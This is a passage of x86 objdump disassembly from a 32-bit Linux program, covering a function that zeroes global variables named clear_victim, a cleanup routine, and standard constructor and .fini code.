 8048ca4:	e8 4f f9 ff ff       	call   80485f8 <_init+0x18>
 8048ca9:	b8 f0 9f 04 08       	mov    $0x8049ff0,%eax
 8048cae:	89 ec                	mov    %ebp,%esp
 8048cb0:	5d                   	pop    %ebp
 8048cb1:	c3                   	ret    
 8048cb2:	8d 36                	lea    (%esi),%esi

08048cb4 <clear_victim>:
 8048cb4:	55                   	push   %ebp
 8048cb5:	89 e5                	mov    %esp,%ebp
 8048cb7:	c7 05 f8 a3 04 08 00 	movl   $0x0,0x804a3f8
 8048cbe:	00 00 00 
 8048cc1:	c7 05 fc a3 04 08 00 	movl   $0x0,0x804a3fc
 8048cc8:	00 00 00 
 8048ccb:	66 c7 05 00 a4 04 08 	movw   $0x0,0x804a400
 8048cd2:	00 00 
 8048cd4:	66 c7 05 02 a4 04 08 	movw   $0x0,0x804a402
 8048cdb:	00 00 
 8048cdd:	c6 05 08 a4 04 08 00 	movb   $0x0,0x804a408
 8048ce4:	c7 05 04 a4 04 08 00 	movl   $0x0,0x804a404
 8048ceb:	00 00 00 
 8048cee:	c7 05 0c a4 04 08 00 	movl   $0x0,0x804a40c
 8048cf5:	00 00 00 
 8048cf8:	89 ec                	mov    %ebp,%esp
 8048cfa:	5d                   	pop    %ebp
 8048cfb:	c3                   	ret    

08048cfc <cleanup>:
 8048cfc:	55                   	push   %ebp
 8048cfd:	89 e5                	mov    %esp,%ebp
 8048cff:	68 31 8e 04 08       	push   $0x8048e31
 8048d04:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048d09:	50                   	push   %eax
 8048d0a:	e8 79 f9 ff ff       	call   8048688 <_init+0xa8>
 8048d0f:	a1 4c c4 04 08       	mov    0x804c44c,%eax
 8048d14:	50                   	push   %eax
 8048d15:	e8 1e fa ff ff       	call   8048738 <_init+0x158>
 8048d1a:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048d1f:	50                   	push   %eax
 8048d20:	e8 a3 f9 ff ff       	call   80486c8 <_init+0xe8>
 8048d25:	6a 00                	push   $0x0
 8048d27:	e8 ec f9 ff ff       	call   8048718 <_init+0x138>

08048d2c <__do_global_ctors_aux>:
 8048d2c:	53                   	push   %ebx
 8048d2d:	bb 44 9e 04 08       	mov    $0x8049e44,%ebx
 8048d32:	83 3d 44 9e 04 08 ff 	cmpl   $0xffffffff,0x8049e44
 8048d39:	74 0d                	je     8048d48 <__do_global_ctors_aux+0x1c>
 8048d3b:	90                   	nop    
 8048d3c:	8b 03                	mov    (%ebx),%eax
 8048d3e:	ff d0                	call   *%eax
 8048d40:	83 c3 fc             	add    $0xfffffffc,%ebx
 8048d43:	83 3b ff             	cmpl   $0xffffffff,(%ebx)
 8048d46:	75 f4                	jne    8048d3c <__do_global_ctors_aux+0x10>
 8048d48:	5b                   	pop    %ebx
 8048d49:	c3                   	ret    
 8048d4a:	8d 36                	lea    (%esi),%esi

08048d4c <init_dummy>:
 8048d4c:	c3                   	ret    
 8048d4d:	90                   	nop    
 8048d4e:	90                   	nop    
 8048d4f:	90                   	nop    
Disassembly of section .fini:

08048d50 <_fini>:
 8048d50:	e8 7b fa ff ff       	call   80487d0 <__do_global_dtors_aux>
 8048d55:	c2 00 00             	ret    $0x0
